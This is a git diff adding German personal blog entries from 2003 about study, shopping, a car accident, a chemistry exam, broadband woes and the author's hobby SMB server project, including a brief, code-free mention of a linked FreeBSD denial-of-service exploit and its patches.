20 Minuten den Ueberblick ueber die Features und Philosphie des Prozessors. Dummerweise hoerte er nach 20 Minuten nicht auf und es begannen peinliche Detailanalysen, die er mit diebischem Stolz praesentierte. Das gesamte Seminar durfte all die kleinen Feinheiten kredenzt bekommen, die der sichtlich angetane Doktorant entdeckt (oder verstanden) hat. Eher nicht einladend, wenn Teilnahme an der Uebung Voraussetzung fuer Schein und Pruefung ist, werde ich es wohl kicken muessen. + +Der IA64 hat diverse Features eingebaut, die sich eigentlich ganz spannend anhoeren, wenn man ein Compiler _ist_. Er wurde um typischen, von Compilern generierten, Sourcecode, respektive statistischen Analysen darueber, designed. Man kann immer nur 3 Instruktionen im Bundle schreiben und wird noch ziemlich eingeschraenkt darin, welchen Teil des Prozessors pro parallel ausgefuehrtem Bundle die einzelnen Instruktionen nutzen koennen. Da ich den ARM-Assembler liebgewonnen hab, der sich fast wie BASIC programmiert, kann ich dem IA64 eigentlich nichts abgewinnen. + +Nach weiterer fleissiger Arbeit und einigem Wuehlen in meinem Coding-Verzeichnis fiel mir noch [dieser lokale Exploit](http://packetstormsecurity.nl/9909-exploits/FreeBSD_DoS.txt) fuer FreeBSD seit 3.0 wieder in die Hand. Ich hatte damals eine Mail an die Security Officers geschickt, aber keine Antwort erhalten. Und noch heute funktionierte der Exploit. Da haben unsere Helden den [commit](http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/vfs_cache.c?rev=1.38.2.3&content-type=text/x-cvsweb-markup) in den RELENG3 branch nicht in die 4 uebernommen und den Bug seitdem froehlich mitgeschleppt. Fuer alle, die sich ihr FreeBSD gegen diesen Exploit sichern wollen, hat der Cryx [hier](http://outpost.h3q.com/patches/) die Patches hingelegt. Zudem hat er noch eine Mail an die Security Officers los geschickt. So richtig hoffnungsvoll bin ich aber nicht. Zudem kam beim Recherchieren [noch einer](http://packetstorm.widexs.nl/9908-exploits/freebsd_DoS.txt) raus. Auf einem nfs-server bricht der schon Genicke. Bleibt eigentlich nur noch *sigh*... diff --git a/blog/2003/Geld_ausgeben.md b/blog/2003/Geld_ausgeben.md new file mode 100644 index 0000000..5245edd --- /dev/null +++ b/blog/2003/Geld_ausgeben.md @@ -0,0 +1,26 @@ + + +Ja. Ich war shoppen. Hat mal gut getan. Nachdem sich aus besagten Gruenden ein wenig Geld auf dem Konto akkumulierte, fand ich es an der Zeit, Anschaffungen zu machen, zu denen man sich sonst (Bodennebel, was weiss ich) nicht durchringen kann. Man hat natuerlich immer zuwenig Geld, aber ueblicherweise gibt man es dann auch noch fuer Bloedsinn aus. Also jetzt dringend her damit: + +1) Ein Computer. - Wenn man von der Firma mit allen notwendigen Devices ausgestattet wird, denkt man gar nicht mehr daran, dass es eine coole Idee ist, auch noch eigene Hardware zu besitzen. Nur fuer den Fall der Faelle. Also bin ich auf Rat meines Mitbewohners zu [Siggelkow](http://www.siggelkow.de/) in der Frankfurter gelatscht und habe mir das billigste bundle mitgenommen. Nur 299EUR. Ich fand, da kann man nichts falsch bei machen. Ist zwar x86, aber in der Groessenordnung bekommt man fuer den Preis keinen Mac und [Acorn Computer](http://www.acorncomputers.co.uk/) haben ihren Zenit wohl unwiederbringlich ueberschritten. (Mein erster Computer war ein Acorn Archimedes 3010 und eigentlich haenge ich noch an der Platform). Den Rechner werde ich mir jetzt sukzessive ausbauen, einen Extrariegel RAM hab ich schon gleich dazugekauft, grosse Platte kommt demnaechst und viel mehr braucht man eigentlich nicht. + +2) Einen iPod - Eine Freundin (deren Namen ich wegen Zollparanoia ich hier nicht veroeffentlichen werde) war bei Verwandten in den Staaten und hat mir beim sagenhaften Dollarkurs von 1.20EUR einen [40GB-iPod](http://www.apple.com/ipod/) geshoppt. Wenn man noch 6% Tax in den Staaten dazunimmt, kann man sich leicht ausrechnen, was ich bezahlt hab. Nachdem cpunkt ein wenig am FireWire fuer FreeBSD gehackt hat, habe ich gar keine Angst mehr und werde das Geraet auch als Mitnehmefestplatte benutzen. Ich habe mein ganzes Leben noch nie so einen richtigen Walkman o.ae. gehabt. Ich war meistens so paddelig, den innerhalb kuerzester Zeit zu zerstoeren, zu verbummeln, oder (wenn er zu robust und/oder zu treu war) zu langweilig zu finden. In mein Leben hat Musik zum Mitnehmen immer nur am Rande gepasst (als letztes auf der Festplatte von meinem Thinkpad mit Kopfhoerern aus dem Rucksack) und ich hoffe, dass sich das jetzt aendert. Genauso, wie das coole Feature [Putty fuer den 9210](http://www.s2.org/putty) dafuer gesorgt hat, dass ich den Communicator immer bei mir habe und somit zum ersten Mal ernsthaft Kalender fuehre und wenigstens ein bisschen Ordnung in meine Termine gebracht habe, wird der iPod hoffentlich ob seines Features "Mal eben eine DVD ins [Nerdkino](http://outpost.h3q.com/CCCinema.html) tragen" oder "ein FreeBSD-ISO-Image, dass in der Hosentasche nicht kaputt geht" dafuer sorgen, dass ich die Musik, die ich mag, immer dabei ist. Eine Tasche in meiner Hose ist auf jeden Fall noch frei. + +3) Einen [Hosentaschen-Amp](http://www.nobels.de/cgi-bin/products/show.pl?d_guitar-mycro) fuer meine treue Fender(nachbau :). - Muss ich wohl nicht besonders viel zu sagen, macht entspannte Nachbarn und Arbeitskollegen und laesst sich mit Aktivboxen prima zu nem BueroAmp kombinieren. Kostet so 35EUR, aber macht Augen leuchten. Die Saiten und den neuen Gurt, die ich mir noch dazu geleistet habe, werde ich nicht extra aufzaehlen. + +4) Und aus der gruenen Gewinnpalette gabs fuer Kaspar, meinen echt fleissigen Bassisten, weil der nix gewonnen hatte, einen ODB-3 dazu (das ist DER Referenzbassverzerrer). Die Proben haben zuletzt wieder richtig Laune gemacht, weil Kaspar (im Gegensatz zum alten Basser) zu hause fleissig Songs geuebt hat (danke dir, Kaspar) und darum dachte ich, dass wir dann wenigstens einen Hauch von Professionalitaet in den Probenraum hineintragen koennen. Vielleicht bring ich Julia nachtraeglich zu ihrem Geburtstag fuer die Drums auch noch was mit, aber dazu muss sie erstmal fleissiger trommeln ;) + +5) Einen 60cm Steinbohrer. - Mag sich jetzt zwar komisch in der Liste machen, aber er repraesentiert fuer mich die Bestaendigkeit beim Herrichten meiner Wohnung. Sie ist durch das viele Arbeiten, Studieren, Nerdzeitung und Sport machen, woanders Feiern undundund so ein bisschen vernachlaessigt worden, ueber die letzten beiden Jahre. Obwohl sie eigentlich sehr cool ist. Nachdem ich (wie schon geschrieben) Bad- und Kuechenregal angebracht und meine ganze Kueche umsortiert hab (was auch der hygienischen Gesamtsituation dort sehr zutraeglich war und meinen Mitbewohner nebst Gattin zum regelmaessig kochen zu animieren scheint), war nach dem Erwerb des Computers Heimvernetzung angesagt. Wavelan ist zwar cool, aber zum Austausch groesserer Dateien ungeeignet. Andererseits machen Kabel in der Wohnung keine gute Laune. Dem widersprach jedoch bisher die unaufgeraeumte Serverecke im Flur. Nach einer kleinen Bohrung durch die Wand und dem Umlegen eines HUBs konnten 90% der Kabel (die bisher auch noch durch die Tuer gelegt wurden) eingespart werden. Nur mein Zimmer konnte ich wegen einer 55cm-Wand nicht mit Netzwerkkabel versorgen. Und nun ratet mal, wozu ich den 60cm Bohrer brauche. + +Gerade erreicht mich die Meldung, dass sowohl meine Kfz-Versicherung mir die zuviel bezahlte Praemie zurueck ueberwiesen hat, als auch das Finanzamt mir einen Scheck ueber die Kfz-Steuern bis 05/2004 hat zukommen lassen. Dazu kommt noch, dass die 150EUR, die ich wegen einer frueheren Trennung (in deutlich nicht beiderseitigem Einvernehmen) der Telekom als Sicherheit ueberweisen musste, wieder auf meinem Konto gelandet sind. Wenn ich von meinem Mitbewohner noch den Rest Miete bekomme, kann ich mich schon als richtig wohlhabend bezeichnen. - Ich glaube, ich werde die naechsten Tage mal _richtig_ CDs shoppen gehn, die ich bisher nur als mp3 rumliegen hatte. Anders kann ich Muse, Goldfinger (Die Hang-Ups kann ich waermstens empfehlen) und Element of Crime leider keine Kohle zukommen lassen, die sie dringend verdient haben. + +6) ,aber das kann man nur schwerlich als Shoppen bezeichnen, hab ich fuer einen Kurztrip nach Schwaben mal eine [Mietwagenzentrale](http://www.avis.de/) bemueht. Fuer nur 94EUR gab es einen Smart mit 1500km inklusive, dazu kommt nochmal (5l auf 100km) Benzin und das war es schon an Kosten. Unglaublich, dass man bei der Bahn fuer diesen Preis nicht mal EINE Person nach Stuttgart (geschweige denn in die Naehe von Rottweil) befoerdern kann. Obwohl der Smart nur 140km/h faehrt, kamen wir noch einigermassen entspannt und nicht zu spaet an. Irgendwer muss mir mal ganz dringend erzaehlen, welchen Grund es fuer das Bahnfahren geben soll. + +Schwaben war sehr angenehm. Geiles TShirt-Wetter nochmal im November (wobei da _bestimmt_ was im Argen liegt, mit dem Klima), Nahrung im Ueberfluss, Schafe und Ziegen streicheln, gemuetlicher Fernsehabend (hab ja zu hause keinen, da geniess ich sorgfaeltig ausgewaehltes Zappen) und trinken gehen mit Leuten, fuer die 23 Uhr schlafen gehen schon spaet ist. + +Nach der erfolgreichen Heimkehr mussten wir den Smart heute morgen um 7 Uhr (in Worten: SIEBEN) wieder abgeben. War nicht nett. Und prompt bin ich, verpennt, wie ich war, aus dem Verleih mit dem Autoschluessel rausgelatscht, so dass die aufgeregte Dame von hinterm Schalter hinterher gerannt kam und hoeflich fragte, ob ich denn durch Zufall noch den Schluessel haette. Danach gings dann gleich wieder schlafen und dann so um eins rum zum Fruehstuecken. Eigentlich wollte ich mich ja mit besagter iPod-Dame dazu treffen, aber wegen dringender Angelegenheiten ihrerseits wurde das nichts und ich seh das Geraet wohl erst Donnerstag. + +Ich war dann mit meinem Kumpel Andreas in der mbar. War nicht so lecker. Und nachdem er mich dann spaeter anrief und fragte, ob mir auch so speiuebel sei, konnte ich das dumpfe Rumoren in meinen Eingeweiden endlich zuordnen. Da war wohl was schlecht. Also eher nicht mehr in die mbar. diff --git a/blog/2003/Google_bomben.md b/blog/2003/Google_bomben.md new file mode 100644 index 0000000..0310cb6 --- /dev/null +++ b/blog/2003/Google_bomben.md @@ -0,0 +1,12 @@ + + +Nachdem "uebliche Verdaechtige" es hinbekommen haben, bei der Google-Suche +nach [miserable +failure](http://www.google.com/search?q=miserable+failure) George Bush ins Rampenlicht zu ruecken, gibt es eine neue +Initiative, denn nach meiner Meinung ist George ein [war criminal](http://www.whitehouse.gov/president/gwbbio.html). +Alle blogger, die da mitmachen wollen, sollten da mal den link hier so +kopieren: war +criminal diff --git a/blog/2003/Hefe_und_Diesel.md b/blog/2003/Hefe_und_Diesel.md new file mode 100644 index 0000000..b7d74df --- /dev/null +++ b/blog/2003/Hefe_und_Diesel.md @@ -0,0 +1,8 @@ + + +Ich bin unter die Audifahrer gegangen. Zumindest fuer eine Woche. Die nette Haftpflicht des VW-Fahrers hat mir nen Leihwagen zur Verfuegung gestellt. Und da ist ein [Audi A4](http://www.audi.com/de/de/neuwagen/a4/avant/avant.jsp) bei abgefallen. Faehrt sich eigentlich ganz nett, obwohl ich ihn in regelmaessigen Abstaenden abgewuergt bekommen hab. Aber das wird sich schon noch geben. Der Verdacht des wirtschaftlichen Totalschadens meines armen alten Autos hat sich nun bestaetigt. Es wird wieder Zeit, eine Grundsatzmeditation ueber generellen Sinn und Unsinn eines Kfz in Berlin zu halten. Ich fuerchte aber, dass bis zum Ende meines Studiums in Mitte und Adlershof gepaart mit Wohnung in Friedrichshain und einer Beschaeftigung in Prenzlauer Berg die Entscheidung eher unoekologisch ausfallen wird. Zumindest denke ich ernsthaft ueber einen Diesel nach. Moeglichst sparsam. [Soll ja angeblich billiger werden.](http://www.swr.de/thema/archiv/030912_alternative_antriebe/biodiesel.html) + +Gestern abend wurde ich noch von meinem Kumpel Andreas zum Hefetrinken in die [Bar23](http://www.pyonen.de/bar23/) eingeladen. War zwar ganz nett, aber nur aufgrund der Leute, die da sonst noch da waren. Mein Kumpel Andreas hat sich naemlich genau mit allen _Anderen_ unterhalten. Aber das Hefe war dann trotzdem ganz gut. diff --git a/blog/2003/Hoffen_auf_Netz.md b/blog/2003/Hoffen_auf_Netz.md new file mode 100644 index 0000000..1f636ca --- /dev/null +++ b/blog/2003/Hoffen_auf_Netz.md @@ -0,0 +1,12 @@ + + +Ich muss mich an der Stelle mal als [Opalopfer](http://www.heise.de/tp/deutsch/inhalt/te/4885/1.html) outen. Wem das nichts sagt, dem sei nur +kurz angedeutet, dass da ein grossartiges "wir verkabeln mal den ganzen osten mit glasfaser"-Experiment stattgefunden hat, das Opal genannt wird. Folge +ist, dass DSL, das bisher nur ueber Kupfer funktioniert, nicht in Opalgegenden vergeben werden kann. Und da es bei Mutter T keine Flatrates ohne DSL +mehr gibt und kein anderer Anbieter sich in Opalgegenden die teuren Brueckenkoepfe leisten moechte, muss man sich ueber T-ISDN teures Netz machen. +Bisher war die Strategie der Telekom, die Glasfaser wieder herauszureissen (!?!) und Kupfer neu zu verlegen. Q2 2004 war letzter Stand fuer meine +Wohngegend. Jetzt flatterte mir aber [diese Meldung](http://www.heise.de/newsticker/data/tol-21.10.03-000/) unter die Finger, die mich +darauf wetten laesst, dass genau in _DEM_ Moment, wo sie DSL ueber Glasfaser anbieten, das Kupferkabel bei mir zu hause angeschlossen wird. diff --git a/blog/2003/Metageschwafel.md b/blog/2003/Metageschwafel.md new file mode 100644 index 0000000..8a4e9a0 --- /dev/null +++ b/blog/2003/Metageschwafel.md @@ -0,0 +1,16 @@ + + +Heute fang ich zum ersten Mal ein Tagebuch an. + +Ich bin eigentlich nicht der Typ dafuer. + +Ich nehm mir normal eher [mehr Zeit ](https://erdgeist.org/arts/poetry/) fuer das, was ich so zu erzaehlen hab. + +Aber dann... ich werde nicht juenger und der extensive Drogenkonsum setzt meinen Erinnerungen zu. Wenn ich also spaeter mal _irgendwas_ meinen +Enkeln erzaehlen will, dann sollte ich es schleunigst niederschreiben. + +Vielen Dank an den [Filib](https://outpost.h3q.com/ind.ex?Blog), ohne den ick nie geglaubt haette, dass auch Geeks bloggen koennen, ohne, +dass es allzu peinlich wird. diff --git a/blog/2003/Rock_und_Roll.md b/blog/2003/Rock_und_Roll.md new file mode 100644 index 0000000..ab437d8 --- /dev/null +++ b/blog/2003/Rock_und_Roll.md @@ -0,0 +1,22 @@ + + +Nachdem der organisatorische Kram erledigt ist, fang ich mal behutsam an, mich mitzuteilen. Wir sollten erst einmal miteinander warm werden und uns kennenlernen. + +Ich bin in letzter Zeit Fan der Combo [Muse](http://www.muse.mu/) geworden, die gestern in der [Columbiahalle](http://www.columbiahalle.de/) in Berlin gespielt haben. Genauer gesagt bin ich schon Fan, seit mir, noch beim [Berliner Abendblatt](http://www.berlinonline.de/berliner-abendblatt/.html/index.html) arbeitend, ein Kollege die [Showbiz](http://www.amazon.de/exec/obidos/ASIN/B00002DEOY/qid=1066858269/sr=2-1/ref=sr_aps_prod_1_1/028-0175517-0734945) angeschleppt hat. (Mir faellt mir beim Link ueberpruefen gerade auf, dass besagte Firma nachts Pornowerbung auf ihrer Seite schaltet, deswegen will ich kurz klarstellen, dass das Abendblatt eine einigermassen serioese anzeigenfinanzierte Lokalzeitung ist :) + +Ich habe das Glueck gehabt, noch zwei Karten fuer das ausverkaufte Konzert zu ergattern. Und da ich Muse noch als sehr kraftvolle und energische Live-Band [in Erinnerung habe](http://www.roskilde-festival.dk/object.php?obj=17c000c&base=145c2e7e&Letter=alle&code=1), hab ich mich auch sehr drauf gefreut, bis... + +[seht selbst](pics/KaputtesAuto.jpg) + +Ein luetter [Golf](http://www.volkswagen.de/golf) hat an [der Ampel](http://www.berliner-stadtplan.com/?map=true&style=&zoom=100&gps=5356|6273&strasse=&size=500x400&trackcode=) nicht so richtig aufgepasst und mich mit meinem treuen Auto in den vor mir stehenden [Jaguar](http://www.jaguar.de/) geschoben. Das Resultat war nicht verheerend, aber laeuft wohl auf einen wirtschaftlichen Totalschaden meines Kfz hinaus. + +Sehr schade. Haette ich nicht einmal vergessen, vor einem 1000km-Urlaub auf den Oelstand zu schauen, waere das Auto in 3 Jahren Pannenfrei geblieben. + +Viel schlimmer in dem Moment war aber, dass die Damen und Herren der [Berliner Polizei](http://www.polizei.berlin.de/) 65 Minuten, fuenfundsechzig _wertvolle_ Minuten, (in denen das Muse-Konzert anlief) gebraucht haben, um dann mit Kippe im Mund sich sichtlich genervt unseres kleinen Malheurs anzunehmen. Und ja. Ob des Nieselregens und des oktobertypisch nicht besonders warmen Wetters war das Warten auf der eher unangenehmen Seite von baeh. So langsam kann ich Teile des Frusts nachvollziehn, die am sich [1. Mai](http://1.mai.so36.net/) auf unsere Freunde und Helfer entladen. Klammheimliche Freude kam dann auch auf, als ein verwirrter alter Mann mit Fahrrad die Polizistin dringend ueberzeugen wollte, dass er aus einem Gefaengnis entlaufen sei und jetzt festgenommen werden muesse. Vielleicht war er einfach nur ob des "aufreizend gebleichten Haars" der jungen Dame naehebeduerftig, jedenfalls wurde bei einer Ueberpruefung des Bestands besagter Besserungsanstalt kein Schwund festgestellt und der gute Mann musste wieder gehen. + +Dank unseres gut ausgebauten [Oeffentlichen Personennahverkehrs](http://www.bvg.de) und Hetzerei gewohnter Beine erreichten wir das Konzert noch zur zweiten Haelfte. Der Spielstand war ausgeglichen und ich verbrachte die ersten Minuten auf dem Konzert beim FuerKleineJungsGehn,das nass-kalte Wetter hat sein bestes geleistet. + +Das Konzert war, wie erwartet, fett. [Der Bassist](http://musclemuse.com/uk/band/gear/chris.php) ist unglaublich fleissig und kann unglaubliche Melodien unglaublich schnell darbieten. Die riesige Bassanlage wirkte dann noch hundertmal cooler, als von CD. Beeindruckend. Fast schade, dass die Jungs inzwischen Mainstream sind :) diff --git a/blog/2003/Schwein_gehabt.md b/blog/2003/Schwein_gehabt.md new file mode 100644 index 0000000..13b1a30 --- /dev/null +++ b/blog/2003/Schwein_gehabt.md @@ -0,0 +1,126 @@ + + +Es gibt nicht viele Situationen, in denen man kaum glaubt, so Zufaelle +passieren einem doch eigentlich gar nicht. Ich habe die Nacht vom +Donnerstag zum Freitag ein wenig im [ +offenen Donnerstag](https://berlin.ccc.de/) des CCCB verbracht. Das ist eigentlich ein netter +Haufen da, da koennte man vielleicht mal oefter vorbeischauen. Als ich +mich dann kurz vor 0800 Uhr entschloss, aufzubrechen, um eventuell noch +"zufaellig" juja (die mir lieberweise vor ein paar Wochen die Haare +geschnitten hat), am Bahnhof Warschauer Strasse zu treffen, um sie um ein +Frisurenupdate zu bitten, (sie hatte leichtfertig erzaehlt, mit welcher +S-Bahn sie faehrt :), fand ich diese Art zufaellige Treffen doch ein wenig +zu dreist und mir kam spontan in den Sinn, die Chemie-Vorlesung, die ich +leider ein wenig hab schleifen lassen, doch noch zu besuchen. Freitag 8 +bis 10 Uhr ist einfach ein typischer Verschlafskandidat. Als ich dann aber +den Vorlesungssaal erreicht hatte, fand ich statt der heimlich erhofften +Streikposten eine pruefungstypische Tafelpraeparation. + +Hammer. Durchnaechtigt, uebermuedet, frierend, unvorbereitet und mit +meinem aktuellen Freizeitprojekt (dazu gleich mehr) im Kopf und ohne +auch nur dem Hauch von einem Stift setzte ich mich in die letzte Reihe. +Fehler! Merken: in den letzten Reihen sitzen *immer* die Spacken mit ohne +Plan. Kann man nicht abschreiben. Zumindest war mein Vordermann so nett, +mir einen gruenen Buntstift(!?) zu leihen, obwohl er noch ein paar +Kugelschreiber rumliegen hatte, aber einem geschenkten Gaul... Die Klausur +an sich war sehr durchwachsen. Am Anfang ein paar primitive 10tklaessler- +Aufgaben zum Beweis, dass man Molare Massen von Stoffen, Molekuelen und +die Beziehungen zu den wirklichen Massen und prozentualen Masseanteilen an +Stoffgemischen bei bestimmten Stoffmengen verstanden hat. Und wie zu +erwarten war, sassen die Biologen davor, wie die Kuh vorm neuen Tor, mein +Stifteverleiher schrieb als Masse 3 1/2 ohne Einheit, was zwar bei seiner +femininen Handschrift ganz keck aussah, aber trotz halbseitiger Herleitung +nicht den geringsten Hinweis hinterlies, dass er verstuende, was er da +treibt. Der rechte Vordermann hatte ein zu massives Kreuz, um auf seinem +Blatt irgendwas zu erkennen, zum Glueck nestelte ein paar Meter rechts von +mir eine prototypische Blondine mit ihrem Aufgabenzettel, so dass man die +in spaeteren Aufgaben geforderten skizzierten Graphenverlaeufe erkennen +konnte. Und siehe da: auswendig lernen klappt bei diesem Typ Mensch +scheinbar. Das war genau die selbe Kurve, die in einer der beiden +Vorlesungen, bei denen ich zugegen war, an die Wand geworfen wurde. Der +Kamerad vor mir ignorierte dann auch noch stetig meine Versuche, ihm fuer +die erste Aufgabe das Ergebnis (100g) zuzufluestern. Aber dann: gab ja +schliesslich nur einen Buntstift :) Am Dienstag gibts die Ergebnisse und +Einteilung in Praktikumsgruppen. Ich hoffe _instaendig_, dass ich nicht +wieder eine ... Schnalle ... abbekomme, wie beim letzten Mal. Ein paar +Eintraege weiter unten habe ich sie, glaub ich, schonmal erwaehnt. Die +beiden Praktikumswochen hatten mich auf eine noch nie dagewesene Art und +Weise zum Kochen gebracht, dass ich mich beim Abreagieren leicht verletzt +hab. Das Ende des Praktikums wurde damals mit einem Hirn-Weg-Besaeufnis +besiegelt, im Rahmen dessen ich Andrea ganz furchtbar auf den Fuss +gesprungen bin (woran ich mich dann leider nicht mehr erinnern konnte und +was mir auch ehrlich und aufrichtig leid tut). Details meiner Tortur +werde ich dann vielleicht im Rahmen des jetzt auf mich zukommenden +Praktikums berichten. + +In der vorletzten Woche hat auch endlich das Weggehen mit dem Philipp +geklappt. War ziemlich nett. Hab ich vor lauter Kommerz vergessen, zu +erwaehnen. Vor allem, weil sich darum noch eine lustige Geschichte rankt. +Dass ich in der mbar unschoenes Essen bekommen hab, schrieb ich bereits. +Bei dem Metroeinkauf mit Mama am Tag danach habe ich fuer meinen +Kuechenschrank eine Spruehdose erstanden. Eigentlich wollte ich nur kurz +schauen, ob das Blau auch wirklich deckt, aber wo ich schon einmal dabei +war, habe ich die ganze Flasche in dem unbeluefteten Raum auf dem Schrank +entleert. Hat zwar wirklich gut gedeckt, aber leider nicht gereicht. Zudem +haben die Loesemittel trieslig in der Birne gemacht. In diesem Zustand +also, noch mit halbuebel von dem verdorbenen mbar-Fruehstueck und +bedroehnt von der chemischen Keule, habe ich mich mit Philipp getroffen +und war nach dem dritten Hefe gar nicht mehr zu gebrauchen. Das Essen in +der Tempobox (leider keinen Link zu gefunden, aber ist Simon-Dach-Strasse/ +Kopernikusstrasse) war richtig lecker, die Bedienung zuvorkommend +(vielleicht auch nur, weil Steffi eine alte Kollegin von Andrea ist :) und +vor allem kann man dort im Sommer auch nach 22 Uhr noch draussen sitzen. +Doch genug der Werbung. Ich stellte dann beim Naseschneutzen fest, dass +meine Popel blau sind, genau, wie der Rest meines Naseninnerens und, wie +sich spaeter rausstellte, auch die Haelfter der Oberflaechen in der +Kueche. Mal wieder eine intellektuelle Glanzleistung. Der naechste Morgen +war dann toedlich und fuehrte zur mehrmaligen innigen Begegnung mit meiner +Kloschuessel. Die dabei aufkommende Erkaeltung tat dann ihr Uebriges. + +Aber genug davon. In Zwischenzeit habe ich mir ein nettes neues Projekt +gesucht. (Vorsicht, jetzt wirds nerdig.) Der Small-Scale-Webserver +"gatling" ([hier](http://bulk.fefe.de/scalability/) zu gucken) +von [Fefe](http://www.fefe.de/) wurde juengst um die +Faehigkeit, FTP im public-only mode zu sprechen, erweitert. Dies brachte +uns auf die Idee, NFS und Samba dazuzupacken, und einen wirklich kleinen +Lan-Party-"ich feuere meine Files aus allen Rohren"-Server zu basteln. Die +[Spezifikation](http://www.snia.org/tech_activities/CIFS/) (das +pdf in dem Verzeichnis) sah im Minimal-Commandset gar nicht so schlimm +aus. Und ich wunderte mich schon, warum das Samba-Projekt so furchtbar +aufgeblasen ist. Als ich aber die ersten Message-Typen implementiert habe +und endlich mit der Windowskiste reden wollte, wurde der von mir +angebotene Minimaldialekt einfach zurueckgewiesen. "Wenn du nicht den +allerneuesten all-features-on-dialect sprichst, rede ich nicht mit dir, +verbindung zu". Fairerweise muss man dazusagen, dass der Windowsexplorer +dann wenigstens auch zugemacht hat. Die SMB-Implementation fuer MacOSX +ignoriert den von mir ausgesuchten Dialekt schlicht und schickt mir +einfach froehlich Messages aus den nicht bekannten Dialekten. Nettes +Stueck Software, das. Nachdem ich das gesamte Framework umorganisiert +hatte, um die neuen Messagetypes, die um einiges komplexer sind, als die +aus dem Basic-SMB-Dialekt, abzubilden, konnte ich wenigstens die +grundlegenden Nachrichten zum Etablieren der Verbindung austauschen. Zu +meiner grossen Freude wollte aber der Explorer auch von den hingehaltenen +Shares nichts wissen. Nein! Erstmal wird eine Pipe aufgemacht, durch die +ein [obskures +RPC-protokoll](http://us3.samba.org/samba/ftp/specs/cifsrap2.txt) gefahren wird. Das ist so lecker, dass es seine +Parameter in Formatstrings beschreibt, die auch verschachtelte Datentypen +abbilden koennen. Laedt also foermlich ein, Bufferoverflows da +reinzubauen. Und alles nur, um sich ein wenig Information ueber meine +exportierte Share abzuholen. Eigentlich unnoetig. Das SMB-Protokoll haelt +genug Requests fuer diese Zwecke bereit. Aber noe. "Wem ich aufzwinge, zu +behaupten, er wuerde LM1.02 sprechen, der muss auch das ganze featureset +koennen, sonst red' ich nicht mit ihm". Da die Herangehensweise bisher +war, vorgefertigte Speicherbloecke als Antwort zu schicken, egal, was +genau in den Anfragen stand, werde ich versuchen, Pakete +vor-zusammenzustueckeln, die den Client zufriedenstellen. Aber erst, wenn +die Frustration ueber den auf mich zukommenden Arbeitsaufwand nachgelassen +hat. Nudossi (so heisst der Serverprototyp, weil das mal viel leckerer als +Samba ist :) findet man hier: "$ cvs -d:pserver:anonymous@cvs.erdgeist.org:/home/cvsroot/ co nudossi". + +Dass, entgegen der letzten Eintragung, das Umformatieren des iPods doch +nicht so "flauschig" abgelaufen ist, wird wohl erst in einer der naechsten +Eintragungen Erwaehnung finden. Ich will Uebereifrige aber schon jetzt mal +warnen. diff --git a/blog/2003/Shoppen__Essen_und_Studieren.md b/blog/2003/Shoppen__Essen_und_Studieren.md new file mode 100644 index 0000000..8e61bf8 --- /dev/null +++ b/blog/2003/Shoppen__Essen_und_Studieren.md @@ -0,0 +1,16 @@ + + +Ich habe es mir angetan: einen Nachmittag als Teil der Kaufviehherden, welche von religioesen Fanatisten und sich religioes gebenden kapitalistischen Fanatisten durch peinlich pathetische Glitzerwelten getrieben werden, um den Ladeninhabern, die das mit dem Kapitalismus wohl noch nicht so ganz verstanden haben, ihre Waren fast zum Einkaufspreis abzunehmen. So richtig verstehe ich das nicht, warum man Rabattaktionen gerade zum Weihnachtsgeschaeft anstoesst, ist aber auch nicht mein Problem. Das wirkliche Problem ist der soziale Druck, der erzeugt wird, jemandem etwas schenken zu muessen, um vor sich selbst nicht verantworten zu muessen, jemandem nichts geschenkt zu haben, weshalb er sich schlecht fuehlen wuerde. Puuuh. Meine Eltern verstehen das nicht. Ich bekomme dann zu hoeren, dass "wir uns gedacht haben, unseren Sohn so erzogen zu haben, dass..." Ja. Man. In unserem christlichen Kulturkreis ist es ja ueblich, dass man des Fests der Liebe gedenkt und sich zeigt, dass man aneinander denkt, wenigstens einmal im Jahr. Von bekennenden Atheisten. Aber halt wohl doch konditioniert. Ich komme lieber aller Wochen bei meinen Eltern vorbei und tue Dinge, die ich kann. [Rechner pflegen](https://erdgeist.org/arts/poetry/index-baecker.html), Kabel verlegen, Opis und Omis bespassen. Kreative Geschenke fuer Leute ausdenken gehoert deutlich _nicht_ zu meinen Kernkompetenzen. Und Computer pflegen waere nur alle Weihnachten zu kritisch und gerade AN Weihnachten deplaciert. Also wohl doch irgendeinen unnoetigen Betrag fuer ein nutzloses Geschenk ausgeben, das ich dann auch noch durch die Stadt schleppen muss. + +Aber da nicht alle meiner Zeitgenossen so denken, haenge ich mich traditionell jaehrlich an den Rockzipfel von [Constanze](https://www.informatik.hu-berlin.de/~kurz/ich.html) und begleite sie beim Stoebern durch die bunte Warenwelt. Die Suche nach einem ATM der Firma >WelcheBankIstNichtSoWichtig< fuehrte uns an "Grilletta" vorbei. Merkwuerdiger Laden, in dem es aber immer lecker Hausmannskost gibt. Ich kann die Rindsroulade mit Rotkohl dort sehr empfehlen. Benannt ist das Lokal uebrigens nach [Grilletta](http://www.mdr.de/doku/895940.html), der DDR-Version des Hamburgers. Die gibt es dort naemlich noch wirklich zu kaufen. Nach Originalrezept. Merkwuerdig ist dort nur, dass der derzeitige Betreiber aus dem nahen oder mittleren Osten stammt, und neben der leckeren Hausmannskost und den Grillettas auch noch Doener und Pizza verkauft, die man dann neben Getraenkekuehlschrank und Geldspielautomaten im Beisein von, sagen wir mal hoeflich, Kiezoriginalen zu sich nehmen kann. + +Der Einkaufs"bummel", der dann, vom Essen noch traege, sich auf das systematische Abklappern aller Etagen des Einkaufszentrums [Allee Arkaden](http://www.schoenhauser-allee-arkaden.de/) beschraenkte, verlief, wie befuerchtet, stressig. Die Post, wo wir "nur schnell ein paar ebay-Pakete" hinbringen wollten, war knueppeldicke voll, in den "stilvoll wohnen" Laeden gab es nur stillosen Scheiss, die Parfumgeschaefte stanken selbst noch ueber den Schweissgeruch der vom Einkaufsstress schnaufenden Shopper. In den Spielzeuglaeden gibt es unsaegliche Dinge, bei denen ich mich frage, wie man soetwas seinem Kind antuen wollen wuerde (obwohl der kleine grosse Kuschelmaulwurf ... -- EINSCHUB: Auf der Suche im Web nach dem grossen Kuschelmaulwurf musste ich mit Entsetzen das hier finden: [Digger II - ein Maulwurf zum Verlieben](http://www.baumwollseil.de/shop/k008u002s001.htm) ihr muesst ein wenig scrollen, da es dort keine Anchors gibt /EINSCHUB -- ... den ich leider im Netz nicht gefunden hab, das ist so ein 1 Meter grosser Plueschmaulwurf... ach auch nicht so wichtig, zumindest koennte man den glatt noch einem Kind antuen). Im Heimwerkerladen habe ich mir dann Goldspruehdosenfarbe 